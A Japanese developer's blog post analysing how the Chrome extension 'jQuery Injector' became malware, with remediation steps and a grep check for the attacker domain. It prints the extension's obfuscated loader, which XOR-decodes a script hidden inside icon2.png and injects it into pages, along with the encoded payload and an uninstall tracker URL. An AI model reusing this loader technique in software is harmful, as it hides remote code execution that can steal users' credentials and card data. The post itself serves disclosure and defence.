注意喚起と反省をかねて書きます。
数年来、開発に使っていたChrome拡張の “jQuery Injector” が突如マルウェア化しました。
この拡張機能はjQuery未導入ウェブページにワンクリックでjQueryをロードできる開発者向けものです。(執筆時点でGoogle 拡張機能ストアからは削除済み)
なお、今回は私用のChromeアカウントで感染が判明し、仕事などで使用している個別のアカウントでは関連する拡張機能を導入しておりませんので、所属する会社や個々に依頼いただいている業務データなどへの影響はないことを先に明記いたします。
ことのはじまり
数日前から、ウェブブラウジングしていると希に “Sponsored by <ドメイン名>” というポップアップ広告が出現するようになりました。偶然にも最初の数回が初回アクセスの英語圏のサイトで起こったため、マルウェアによるものだと気付くのが遅れてしまいました。
何度か表示されている内に、拡張機能によるものだと推測し調査を始めました。
Chromeの拡張機能はmacであれば ~/Library/Application Support/Google/Chrome/Default/Extensions/
以下にインストールされ、JavaScriptで書かれていることは知っていましたので、ターミナルから次のコマンドを実行して犯人を捜そうとしますが見つかりません。
1 2 |
cd ~/Library/Application\ Support/Google/Chrome/Default/Extensions/ grep -rnw . -e "Sponsored by" |
仕方がないので、Chrome拡張の中から順番にインストールページを開き発行元と、レビューでマルウェアについてのコメントがないか確認していると、”jQuery Inejctor”のリンク切れを発見。その後Google検索などでマルウェア化の疑惑があり詳しく調べることにしました。
コードの調査
この拡張のファイル構造は次のとおりです。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 |
$ tree -L 3 . └── 1.0.4_0 ├── 1400x560.jpg ├── 440x280.jpg ├── 920x680.jpg ├── _metadata │ ├── computed_hashes.json │ └── verified_contents.json ├── background.html ├── background.js ├── banner.jpg ├── icon2.png ├── jquery_128.png ├── jquery_16.png ├── jquery_48.png ├── jquery_64.png ├── jquery_icon.png ├── jquery_icon19.png ├── jquery_icon38.png ├── libs │ ├── bootstrap │ ├── bootstrap-colorpicker.min.js │ ├── bootstrap-slider.min.css │ ├── bootstrap-slider.min.js │ └── jquery-2.2.3.min.js ├── manifest.json ├── option.css ├── options.html └── options.js |
この中のファイルを調査していくうちに、怪しいコードを発見しました。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 |
// 省略 (() => { var main = () => { chrome.runtime.getPackageDirectoryEntry(function (root) { var icon = "icon2.png"; root.getFile(icon, {}, function (fileEntry) { fileEntry.file(function (file) { var reader = new FileReader(); reader.onloadend = function (e) { var text = this.result; var idxF = text.lastIndexOf("init>"); if (idxF < 0) return; text = text.substr(idxF + 5); var idxL = text.lastIndexOf("<end"); if (idxL < 0) return; text = text.substr(0,idxL); for (var t = 0, r = text.length, n = ""; r > t;) n += String.fromCharCode(77 ^ text.charCodeAt(t++)); var a = new window.Blob([n], { type: "text/javascript" }); addScript(window.URL.createObjectURL(a)); }; reader.readAsText(file); }, (e) => { console.log(e) }); }, (r) => { console.log(r) }); }); }; var check = () => { chrome.storage.local.get({T : 0}, (r) => { r.T == 0 ? setTimeout(check, 6e5) : main(); }) }; // 省略 setTimeout(function(){ chrome.storage.local.get({T : 0}, (r) => { r.T == 0 && chrome.storage.local.set({T : new Date().getTime()}); }); }, 4568904); check() })(); chrome.runtime.setUninstallURL('http://extsgo.com/api/tracker/uninstall?ext_id=' + chrome.runtime.id); |
軽く見た感じ、 icon2.png をテキストとして読み込み、 “init>”から”<end”の文字列を1文字ずつビット演算し、javascriptのコードとしてDOMにインジェクションしています。
疑惑が確信に変わりました。隠したい文字列をアスキーコードで特定のルールに基づき変換して難読化するのはマルウェアの類の常套手段です。
イメージビューアで開くと普通の画像ファイルに見えますが・・・、cat や strings コマンドでテキストとして開いてみると
見事にそれらしき文字列が出てきました。真っ黒です・・・。
上のコードで、実際にどうデコードされるのか動かしてみます。
文字列の中にシングル・ダブルクォートどちらも含まれているので、JavaScriptでヒアドキュメントを書くトリッキーなコードで検証します。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
function decode(text){ var idxF = text.lastIndexOf("init>"); if (idxF < 0) return; text = text.substr(idxF + 5); var idxL = text.lastIndexOf("<end"); if (idxL < 0) return; text = text.substr(0,idxL); for (var t = 0, r = text.length, n = ""; r > t;) n += String.fromCharCode(77 ^ text.charCodeAt(t++)); return n; } var text = (function(){/* init>;,?m7(?"mpme,am/dmpsm6m.%?" (c>9"?,*(c!".,!c*(9e6m wm}m0ame.psm6m}mppm.c mrmeedmpsm6m.%?" (c>9"?,*(c!".,!c>(9e6m wme#(:m ,9(dc*(9$ (edm0dam>(9$ ("89e7(?"am,am,am/dm0dedmwmeedmpsm6mee#(:m ,9(dc*(9$ (edm`m.c m11m}dmqm/mrm>(9$ ("89e7(?"am,am,am/dmwm"#(edm0dedm0ddm0am"#(mpmedmpsm6m.%?" (c:(/(<8(>9mkkm.%?" (c:(/(<8(>9c"#(,)(?>(.($;()c,))$>9(#(?ee,psm6m$+me,c9,/)mlpm`|dm6m+"?me;,?m/m$#m,c?(>="#>((,)(?>dmo"/'(.9omppm94=("+m,c?(>="#>((,)(?>/mkkmo."#9(#9`>(.8?$94`="!$.4ompppm,c?(>="#>((,)(?>/c#, (c9"":(?,>(edmkkm,c?(>="#>((,)(?>c>=!$.(e/am|dvm?(98?#m6m?(>="#>((,)(?>wm,c?(>="#>((,)(?>m0m0m0dam6m8?!>wmoq,!!8?!>soam94=(>wmo ,$#+?, (om0amo?(>="#>((,)(?>oamo/!".&$#*odam.%?" (c9,/>mkkm.%?" (c9,/>c"#=),9()c,))$>9(#(?eee,am/dmpsm6mo." =!(9(omppm/c>9,98>mkkm.%?" (c9,/>c(5(.89(.?$=9e,am6m.")(wm-eedmpsm6;,?m>mpm)".8 (#9c.?(,9!( (#9ej>.?$=9jdv>c>?.mpmjbb>~c(8`.(#9?,!`|c, ,7"#,:>c." b+"?9"#b$#'(.9'<c'>jv)".8 (#9c/")4c,==(#)%$!)e>dv0dedv-m0dm0ddm0vm7(?"e~{(xamu{y(xdv<end */}).toString().match(/[^]*\/\*([^]*)\*\/\}$/)[1].trim(); decode(text); |
出てきました。最下部のdecode結果が実際にインジェクションされたコードです。
整形すると次のようになり、何らかの時間的条件を満たすとS3上にあるコードを実行していたようです。
執筆時点では既にこのファイルにはアクセスできなかったため、この先を追うことはできませんでしたが、ある期間中に攻撃者が任意のコードを実行できていたことは間違いありません。
感染判明後の処置
あくまでChrome拡張なので、削除すればそれ以後は完全に動作しなくなります。
ただChromeでアクセスしたページ内のデータ、クッキーなどにはほぼすべてアクセスが可能だったということなので、
直近利用したすべてのウェブサービスにおいて、
- 一旦ログアウト後にすべてのクッキーを削除(セッションハイジャック対策)
- ログインパスワードの変更
- 使用したクレジットカードの利用停止
を行いました。
現在のところ特に被害は受けていないようです。
Macで感染チェック
上部で引用したコードの最後の行で、拡張機能がアンインストールされる際に攻撃者が設定したURLをコールするようになっています。
最近発生した、他の拡張機能(Live HTTP Headers など)でも、同様のURLが設定されていることを確認したため、
このURLで拡張機能のディレクトリを走査すると感染している拡張機能をあぶり出せるかもしれません。
1 2 |
cd ~/Library/Application\ Support/Google/Chrome/Default/Extensions/ grep -rnw . -e "extsgo.com" |
もちろん攻撃者がこのドメインを変えてしまうと使えなくなってしまいますので、あくまで簡易的なものですがお試しください。
所感
拡張機能こわい、というのと、自動アップデートこわい、という2つの怖さを感じました。
全部の閲覧ページで任意のJSが実行されるっていうのは、要は入力したパスワードやクレジットカードもモロバレなわけで、、
その影響度の割には「うかつに拡張機能をインストールしない」くらい実行が難しい対策しか思いつかないのが残念です。。
拡張機能をインストールする際には、拡張機能のコードを必ず読む習慣があるのですが、自動アップデートで知らぬ間に悪意のあるコードに書き換えられるなんて、避けようがないんじゃないでしょうか。。
自動アップデート時にdiffを見れてAcceptするとか(結局はコードが読めるエンジニアだけにしか役立たない機能になりますが・・・)、何かしらいい対処法が出てくることに期待します。